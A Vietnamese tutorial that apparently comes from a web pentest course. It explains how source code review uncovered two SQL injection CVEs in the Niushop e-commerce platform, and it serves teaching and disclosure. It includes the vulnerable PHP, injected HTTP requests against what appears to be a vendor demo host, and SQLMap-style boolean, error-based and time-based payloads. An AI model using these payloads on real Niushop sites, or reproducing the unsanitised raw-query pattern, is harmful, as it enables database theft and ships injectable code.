Phương pháp phân tích mã nguồn tìm lỗ hổng SQL Injection cho người mới bắt đầu
ĐỐI TƯỢNG TRONG TẦM NGẮM
Niushop là một giải pháp thương mại điện tử mã nguồn mở, được thiết kế để hỗ trợ các nhà phát triển nhanh chóng triển khai và tùy chỉnh các chức năng bán hàng, quản lý sản phẩm, và các dịch vụ hậu mãi. Với khả năng mở rộng cao, nền tảng này đáp ứng được một loạt nhu cầu kinh doanh đa dạng, từ thị trường B2C đến mô hình kinh doanh phức tạp hơn như B2B2C.
Nền tảng Đa dạng: Hỗ trợ đa dạng các mô hình kinh doanh, từ bán hàng trực tiếp đến người tiêu dùng (B2C) cho tới kết nối doanh nghiệp với doanh nghiệp và người tiêu dùng (B2B2C).
Linh hoạt và Mở rộng: Sử dụng PHP và Framework ThinkPHP 6, Niushop cho phép tùy biến và mở rộng dễ dàng để phù hợp với yêu cầu kinh doanh cụ thể.
Cộng đồng Sử dụng Rộng rãi: Với hơn 400 hệ thống đang hoạt động trực tuyến (theo thống kê từ Shodan), chủ yếu tập trung tại Trung Quốc, Hong Kong và Thái Lan, Niushop đã chứng tỏ sức hút và độ tin cậy của mình trong cộng đồng thương mại điện tử.
Thông tin kỹ thuật
Nhà cung cấp (Vendor): NiuTeam
Phiên bản hiện tại: Niushop B2B2C V5
Framework: Sử dụng ThinkPHP 6, một framework PHP hiệu suất cao
Ngôn ngữ Lập trình: PHP 7, đảm bảo tốc độ và tính bảo mật
Quản lý mã nguồn: Mã nguồn được lưu trữ và quản lý tại Gitee
Cơ sở dữ liệu: Sử dụng MySQL, hệ quản trị cơ sở dữ liệu phổ biến và mạnh mẽ
Web Server: Tương thích với Apache và NginX, hai trong số các web server phổ biến nhất
PHƯƠNG PHÁP SOURCE CODE AUDIT
Phân tích Whitebox, còn được biết đến như Source Code Audit hoặc Code Review, là phương pháp tiếp cận mã nguồn từ bên trong để xác định và khai thác lỗ hổng. Trái ngược với Blackbox, Whitebox không dựa vào việc thử nghiệm từ bên ngoài mà tập trung vào việc phân tích mã nguồn từ bên trong. Điều này đặc biệt hiệu quả với các hệ thống mã nguồn mở như Niushop. Dưới đây là 5 bước cơ bản mình đã áp dụng để tìm ra hai lỗ hổng SQL Injection được gán mã CVE-2024-25247 (mức độ nguy hiểm 8.2/10) và CVE-2024-25248 (mức độ nguy hiểm 5.5/10). Mình sẽ giải thích và chia sẻ kinh nghiệm tìm kiếm các lỗ hổng kĩ càng hơn trong khoá học Web Pentest for Beginner của Cookie Arena.
Bước 1 - Bạn muốn tìm kiếm lỗ hổng nào? (WHAT). Xác định loại lỗ hổng bạn muốn tìm kiếm, ví dụ: SQL Injection, Cross-site Scripting (XSS), Remote Code Execution (RCE), etc.
Bước2 - Nguyên nhân gốc rễ (root-cause) gây ra lỗ hổng ? (WHY). Phân tích và hiểu rõ nguyên nhân gốc rễ gây ra lỗ hổng, chẳng hạn như sự thiếu hụt trong việc xác thực đầu vào, lỗi lập trình, hoặc mẫu thiết kế không an toàn.
Bước 3 - Xác định lỗ hổng xảy ra ở Endpoint nào? (WHERE). Tìm kiếm và xác định các Endpoint hoặc phần mã cụ thể nơi lỗ hổng có thể xuất hiện, bao gồm cả việc xác định các tham số đầu vào và cách chúng được xử lý.
Bước 4 - Khi nào lỗ hổng sẽ xảy ra (WHEN). Xác định các loại Payload có thể kích hoạt lỗ hổng. Dựa trên việc hiểu biết sâu sắc về cách thức hoạt động của lỗ hổng và điểm yếu trong mã nguồn để đưa những Input gây lỗi một cách hợp lý.
Bước 5 - Viết script hoặc mã để khai thác lỗ hổng đã được xác định (HOW). Điều này nhằm chứng minh khả năng khai thác và giúp trong việc đề xuất các giải pháp khắc phục
CHI TIẾT CÁCH TÌM LỖ HỔNG
BƯỚC 1. BẠN MUỐN TÌM KIẾM LỖ HỔNG NÀO?
Lỗ hổng SQL Injection là một trong những lỗ hổng phổ biến và nguy hiểm nhất được liệt kê trong OWASP Testing Guide. Đây là loại lỗ hổng nằm trong nhóm Injection, cho phép kẻ tấn công thực hiện các truy vấn SQL độc hại thông qua ứng dụng web để thao túng hoặc đánh cắp dữ liệu từ cơ sở dữ liệu. Để tìm kiếm và khai thác lỗ hổng này, bạn cần hiểu rõ về cách thức hoạt động của SQL và cách ứng dụng Niushop tương tác với cơ sở dữ liệu.
BƯỚC 2. NGUYÊN NHÂN GỐC RỄ (ROOT-CAUSE) GÂY RA LỖ HỔNG?
Lỗ hổng Injection, đặc biệt là SQL Injection, thường xuất phát từ việc ứng dụng không kiểm soát chặt chẽ dữ liệu đầu vào từ người dùng, hay còn được gọi là dữ liệu không đáng tin cậy (Untrusted-Data). Trong trường hợp của Niushop, việc quản lý và thao tác dữ liệu được đơn giản hóa nhờ vào việc áp dụng ORM (Object-Relational Mapping).
Trong đoạn mã PHP dưới đây, một đối tượng User
được tạo ra bằng cách kế thừa từ Model
của ThinkPHP. Tiếp theo, lập trình viên phát triển hàm scopeEmail()
để lọc ra các bản ghi trong bảng users
dựa trên email mà người dùng cung cấp. Điều này tạo ra một câu truy vấn SQL tương đương với: SELECT * FROM users WHERE email LIKE ‘%user@example.com%’
, user@example.com
là giá trị được nhập vào bởi người dùng.
<?php
namespace app\model;
use think\Model;
class User extends Model
{
public function scopeEmail($query, $email)
{
$query->where('email', 'like', '%' . $email . '%');
}
}
Giống như nhiều ORM khác, nó sẽ áp dụng kỹ thuật Prepared Statements để thực thi truy vấn một cách an toàn. Kỹ thuật này tự động "escape" các ký tự đặc biệt trong dữ liệu đầu vào, ngăn chặn lỗi SQL Injection. Ví dụ, nếu người dùng nhập user@example.com'
, một dấu nháy đơn không mong muốn có thể gây ra lỗi cú pháp SQL. Tuy nhiên, nhờ vào Prepared Statements, dấu nháy đơn này sẽ được "escape" thành user@example.com\'
, làm cho dữ liệu đầu vào an toàn và không gây lỗi cú pháp khi được chèn vào câu truy vấn SQL.
ORM cho phép lập trình viên tương tác với cơ sở dữ liệu mà không cần viết trực tiếp câu lệnh SQL, giảm thiểu nguy cơ nhớ sai cú pháp.Mặc dù ORM rất tiện lợi, nhưng đối với các nghiệp vụ phức tạp trong thương mại điện tử, việc dựa hoàn toàn vào ORM có thể khiến truy vấn do ORM tự động sinh ra có thể không được tối ưu về mặt hiệu suất.
Để giải quyết vấn đề này, nhiều Framework, bao gồm cả ThinkPHP, đã cung cấp tính năng cho phép lập trình viên sử dụng hàm DB::raw() để tự viết và thực thi các câu truy vấn SQL theo ý muốn. Tuy nhiên, khi sử dụng hàm này, lập trình viên cần phải tự mình loại bỏ các ký tự đặc biệt để tránh lỗi, tức là cần phải tự kiểm soát và chuẩn hoá dữ liệu đầu vào một cách chủ động. Điều này mở ra một cơ hội tiềm ẩn cho việc tìm kiếm và khai thác lỗ hổng nếu dữ liệu không được kiểm soát một cách cẩn thận.
Trong quá trình phân tích mã nguồn để tìm kiếm lỗ hổng, việc đầu tiên xác định lập trình viên sử dụng hàm DB::raw()
ở chỗ nào trong Niushop.
Khi kiểm tra bằng VSCode, ta phát hiện 129 vị trí sử dụng hàm này trải rộng trên 30 tệp PHP. Một số tệp như Coupon.php
và Discount.php
sử dụng DB::raw()
với các câu truy vấn cố định, không chứa biến đầu vào từ người dùng, giảm khả năng gặp lỗ hổng.
Nhưng nếu chúng ta quan sát các tệp như ShowPromotion.php
, chuỗi truy vấn SQL chứa biến, ví dụ $params['end_time']
. Các biến này đại diện cho dữ liệu đầu vào từ người dùng, tăng rủi ro lỗ hổng SQL Injection nếu dữ liệu không được xử lý cẩn thận. Đây chính là những điểm quan trọng cần được kiểm tra kỹ lưỡng trong quá trình audit mã nguồn.
Để hiểu rõ hơn về cách tiếp cận việc phân tích mã nguồn và tìm kiếm lỗ hổng, hãy phân tích hai CVE-2024-25248 và CVE-2024-25247 dưới đây.
CVE-2024-25248
Xem xét hàm orderGoodsDelivery()
trong file app/model/order/LocalOrder.php
sử dụng DB::raw()
. Câu truy vấn SQL trong hàm này có truyền vào hai biến, $site_id
và $order_id
được lấy từ mảng $param
. Chúng ta cần phải truy vết và xác định tất cả các vị trí trong mã nguồn đang gọi đến hàm orderGoodsDelivery()
. Điều này giúp hiểu rõ ngữ cảnh sử dụng hàm và cách thức các tham số được truyền vào.
class LocalOrder extends OrderCommon
{
....
public function orderGoodsDelivery($param)
{
$delivery_no = $param['delivery_no'] ?? '';//物流单号
$delivery_type = $param['delivery_type'] ?? 'default';
$order_id = $param['order_id'] ?? 0;
$site_id = $param['site_id'];
$store_id = $param['store_id'] ?? 0;
$condition = [
['site_id', '=', $site_id],
['order_id', '=', $order_id],
['refund_status', '<>', OrderRefundDict::REFUND_COMPLETE]
];
if ($store_id) $condition[] = ['store_id', '=', $store_id];
$order_goods_list = model('order_goods')->getList($condition, '*');
if (empty($order_goods_list)) {
return $this->error('', '发货货物不可为空!');
}
$condition_refund[] = ['', 'exp', Db::raw('(refund_status='.OrderRefundDict::REFUND_APPLY.' or refund_status='.OrderRefundDict::REFUND_CONFIRM.') and site_id=' . $site_id . ' and order_id=' . $order_id)];
$order_refund_goods_list = model('order_goods')->getList($condition_refund, 'order_goods_id');
// 已退款的订单项不可发货
if ($order_refund_goods_list) {
return $this->error([], 'ORDER_GOODS_IN_REFUND');
}
.....
}
....
}
CVE-2024-25247
Trong file app/model/store/Store.php
, hai hàm getLocationStoreList()
và getLocationStorePageList()
được chú ý vì sử dụng DB::raw()
để xử lý truy vấn SQL, trong đó hai tham số lng
(kinh độ) và lat
(vĩ độ) được lấy từ mảng $lnglat
đầu vào.
class Store extends BaseModel
{
...
public function getLocationStoreList($condition, $field, $lnglat)
{
$order = '';
if (!empty($lnglat[ 'lat' ]) && !empty($lnglat[ 'lng' ])) {
$field .= ' , ROUND(st_distance ( point ( ' . $lnglat[ 'lng' ] . ', ' . $lnglat[ 'lat' ] . ' ), point ( longitude, latitude ) ) * 111195 / 1000, 2) as distance ';
$condition[] = [ '', 'exp', Db::raw(' FORMAT(st_distance ( point ( ' . $lnglat[ 'lng' ] . ', ' . $lnglat[ 'lat' ] . ' ), point ( longitude, latitude ) ) * 111195 / 1000, 2) < 10000') ];
$order = 'distance asc';
}
$list = model('store')->getList($condition, $field, $order);
return $this->success($list);
}
public function getLocationStorePageList($condition, $page, $page_size, $field, $lnglat)
{
$order = '';
if (!empty($lnglat[ 'lat' ]) && !empty($lnglat[ 'lng' ])) {
$field .= ',FORMAT(st_distance ( point ( ' . $lnglat[ 'lng' ] . ', ' . $lnglat[ 'lat' ] . ' ), point ( longitude, latitude ) ) * 111195 / 1000, 2) as distance';
$condition[] = [ '', 'exp', Db::raw(' FORMAT(st_distance ( point ( ' . $lnglat[ 'lng' ] . ', ' . $lnglat[ 'lat' ] . ' ), point ( longitude, latitude ) ) * 111195 / 1000, 2) < 10000') ];
$order = Db::raw(' st_distance ( point ( ' . $lnglat[ 'lng' ] . ', ' . $lnglat[ 'lat' ] . ' ), point ( longitude, latitude ) ) * 111195 / 1000 asc');
}
$list = model('store')->pageList($condition, $field, $order, $page, $page_size);
return $this->success($list);
}
....
BƯỚC 3. XÁC ĐỊNH LỖ HỔNG XẢY RA Ở ENDPOINT NÀO? (WHERE)
CVE-2024-25248
Sử dụng tiện ích "Go to References" trong Extension PHP Intelephense của VSCode, ta khám phá ra rằng hàm orderGoodsDelivery()
trong app/model/order/LocalOrder.php
được gọi từ hai vị trí: app/shop/controller/Localorder.php
và app/shopapi/controller/Localorder.php
.
Khi xem xét hàm delivery()
trong file app/shop/controller/Localorder.php
, ta nhận thấy hàm orderGoodsDelivery()
được truyền một mảng thông qua biến $data
. Mảng này chứa các giá trị order_id
được lấy từ tham số order_id
trong mảng $params
, nếu không có giá trị nào được truyền vào thì mặc định sẽ là 0. Cùng lúc đó, các giá trị khác như deliverer
và deliverer_mobile
cũng được xử lý tương tự. Đối với tham số site_id
, nó được lấy từ một giá trị đã được định trước, tức là không thể thay đổi từ bên ngoài.
class Localorder extends BaseShop
{
...
public function delivery()
{
$order_id = $this->params['order_id'] ?? 0;
$deliverer = $this->params['deliverer'] ?? '';
$deliverer_mobile = $this->params['deliverer_mobile'] ?? '';
$local_order_model = new LocalOrderModel();
$data = [
'order_id' => $order_id,
'deliverer' => $deliverer,
'deliverer_mobile' => $deliverer_mobile,
'site_id' => $this->site_id
];
$result = $local_order_model->orderGoodsDelivery($data);
return $this->response($result);
}
...
}
Qua việc phân tích này, ta có thể hiểu rằng việc kiểm soát dữ liệu đầu vào cho mảng $param
của hàm orderGoodsDelivery()
không được lọc hay loại bỏ, làm sạch dữ liệu trước khi đưa vào DB:raw()
nên ****đây sẽ là một điểm yếu tiềm ẩn
Trong kiến trúc của ThinkPHP, đường dẫn (Router) đến hàm delivery()
trong controller Localorder.php
được biểu diễn qua endpoint /shop/localorder/delivery.html?order_id=1&deliverer=2&deliverer_mobile=1, cho phép truyền tham số qua URL.
Controller Localorder.php
kế thừa từ BaseShop
, nên nó tự động kế thừa các thuộc tính, bao gồm cơ chế kiểm tra đăng nhập được thiết lập sẵn trong BaseShop
. Điều này đảm bảo rằng mọi yêu cầu đến hàm delivery()
đều phải qua xác thực người dùng, làm tăng tính an toàn bảo mật cho các thao tác liên quan đến đơn hàng.
class BaseShop extends Controller
{
...
public function __construct(App $app = null)
{
...
if (!$this->checkAuth()) {
$menu_info = $user_model->getRedirectUrl($this->url, $this->app_module, $this->group_info, $this->addon);
if (request()->isJson()) {
if (empty($menu_info)) {
echo json_encode(error(-1, '权限不足,请联系客服', $menu_info));
exit;
}
} elseif (request()->isAjax() && request()->type() == 'html') {
if (empty($menu_info)) {
$this->error('权限不足,请联系客服');
} elseif (!empty($menu_info[ 'url' ])) {
// 当前页面没有权限,跳转同级别功能页面
$this->redirect(addon_url($menu_info[ 'url' ]));
}
}
}
...
}
...
}
Trong bảo mật, các lỗ hổng yêu cầu quyền truy cập tài khoản thường được coi là ít nguy hiểm hơn so với những lỗ hổng có thể khai thác mà không cần xác thực. Điều này giải thích vì sao một số lỗ hổng lý thuyết có vẻ nguy hiểm nhưng thực tế ảnh hưởng không cao. Một khi đã đăng nhập, người dùng có thể tiếp tục thực hiện các thao tác liên quan thông qua HTTP Request một cách an toàn hơn. Điều này làm giảm mức độ rủi ro của lỗ hổng theo tiêu chí CVSS.
GET /shop/localorder/delivery.html?order_id=1&deliverer=2&deliverer_mobile=1 HTTP/2
Host: uniapp.v5.niuteam.cn
Cookie: think_lang=en-us; PHPSESSID=710ea81003bb13d26076feabd62f262c
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://uniapp.v5.niuteam.cn/shop.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
CVE-2024-25247
Qua việc phân tích, chúng ta nhận thấy rằng hàm getLocationStorePageList()
không được sử dụng, trong khi đó hàm getLocationStoreList()
lại được gọi trong hàm page()
tại Controller app/api/controller/Store.php
.
Điều này dẫn đến việc endpoint /api/store/page?latitude=1&longitude=1 có thể truy cập được mà không yêu cầu đăng nhập, do đối tượng BaseApi
không tự động kiểm tra xác thực người dùng.
class Store extends BaseApi
{
...
public function page()
{
.....
$latitude = isset($this->params[ 'latitude' ]) ? $this->params[ 'latitude' ] : null; // 纬度
$longitude = isset($this->params[ 'longitude' ]) ? $this->params[ 'longitude' ] : null; // 经度
$store_id = isset($this->params[ 'store_id' ]) ? $this->params[ 'store_id' ] : 0; // 默认门店
$store_model = new StoreModel();
$condition = [
[ 'site_id', "=", $this->site_id ],
[ 'status', '=', 1 ],
[ 'is_frozen', '=', 0 ]
];
$latlng = array (
'lat' => $latitude,
'lng' => $longitude,
);
$field = '*';
$list_result = $store_model->getLocationStoreList($condition, $field, $latlng);
.....
}
...
}
Sự khác biệt này giữa hai CVE này là cách hệ thống xử lý xác thực người dùng. Cùng một lỗ hổng nhưng cái nào không yêu cầu xác thực sẽ có mức độ nguy hiểm cao hơn.
BƯỚC 4: XÁC ĐỊNH PAYLOAD KÍCH HOẠT LỖ HỔNG? (WHEN)
Sự vắng mặt của các biện pháp kiểm tra hoặc loại bỏ các kí tự đặc biệt trong khi sử dụng DB::raw()
cho thấy hệ thống có tiềm năng bị lỗ hổng SQL Injection. Khi kẻ tấn công cố tình truyền vào các kí tự đặc biệt của SQL, như dấu nháy đơn ('
) hoặc nháy kép ("
), họ có thể phá vỡ cú pháp truy vấn SQL ban đầu và chèn thêm các truy vấn độc hại.
Điều này có thể cho phép kẻ tấn công thực thi các truy vấn SQL tùy ý trên cơ sở dữ liệu, dẫn đến việc tiết lộ thông tin.
CVE-2024-25248
GET /shop/localorder/delivery.html?order_id=1'&deliverer=2&deliverer_mobile=1 HTTP/2
Host: uniapp.v5.niuteam.cn
Cookie: think_lang=en-us; PHPSESSID=710ea81003bb13d26076feabd62f262c
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://uniapp.v5.niuteam.cn/shop.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
HTTP/2 200 OK
Server: nginx
Date: Fri, 26 Jan 2024 04:37:19 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: x-requested-with, content-type
Set-Cookie: think_lang=en-us; path=/
Set-Cookie: PHPSESSID=710ea81003bb13d26076feabd62f262c; path=/
Strict-Transport-Security: max-age=31536000
{"code":-1,"message":"系统异常:SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' )' at line 1","timestamp":1706243839}
CVE-2024-25247
GET /api/store/page?latitude=1&longitude=' HTTP/2
Host: uniapp.v5.niuteam.cn
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://uniapp.v5.niuteam.cn/shop.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
HTTP/2 200 OK
Server: nginx
Date: Fri, 26 Jan 2024 04:37:19 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: x-requested-with, content-type
Set-Cookie: think_lang=en-us; path=/
Set-Cookie: PHPSESSID=710ea81003bb13d26076feabd62f262c; path=/
Strict-Transport-Security: max-age=31536000
{"code":-1,"message":"系统异常:SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' )' at line 1","timestamp":1706243839}
BƯỚC 5: VIẾT MÃ KHAI THÁC? (HOW)
Để khai thác lỗ hổng này, các kỹ thuật như Boolean Base, Error Base, hoặc Time Based thường được sử dụng. Mỗi kỹ thuật này có phương pháp tiếp cận riêng:
Boolean Base: Dựa vào sự thay đổi của kết quả trả về từ ứng dụng dựa trên điều kiện đúng/sai của câu truy vấn SQL được chèn.
Error Base: Kích hoạt một lỗi SQL cụ thể và sử dụng thông điệp lỗi để thu thập thông tin.
Time Based: Gây ra sự chậm trễ trong phản hồi của ứng dụng dựa trên câu truy vấn SQL được chèn, từ đó suy luận thông tin.
Công cụ như SQLMap là một trợ giúp đắc lực trong việc tự động hóa quá trình khai thác SQL Injection, cho phép xác định nhanh chóng và hiệu quả các lỗ hổng cũng như khai thác chúng. SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan
Để thành thạo trong việc tìm kiếm và khai thác lỗ hổng SQL Injection, bạn cần phải liên tục học hỏi và nâng cao kiến thức của mình về an ninh mạng, cơ sở dữ liệu, và các kỹ thuật tấn công mới. Tham gia lớp học Web Pentest for Beginner của Cookie Arena để cải thiện kỹ năng của bạn.
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: https://xx.xx.xx.xx/api/store/page?latitude=1&longitude=(SELECT (CASE WHEN (5873=5873) THEN 1 ELSE (SELECT 4561 UNION SELECT 1635) END))
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: https://xx.xx.xx.xx/api/store/page?latitude=1&longitude=1 AND GTID_SUBSET(CONCAT(0x7170767071,(SELECT (ELT(3215=3215,1))),0x717a786a71),3215)
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: https://xx.xx.xx.xx/api/store/page?latitude=1&longitude=1 AND 3176=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)%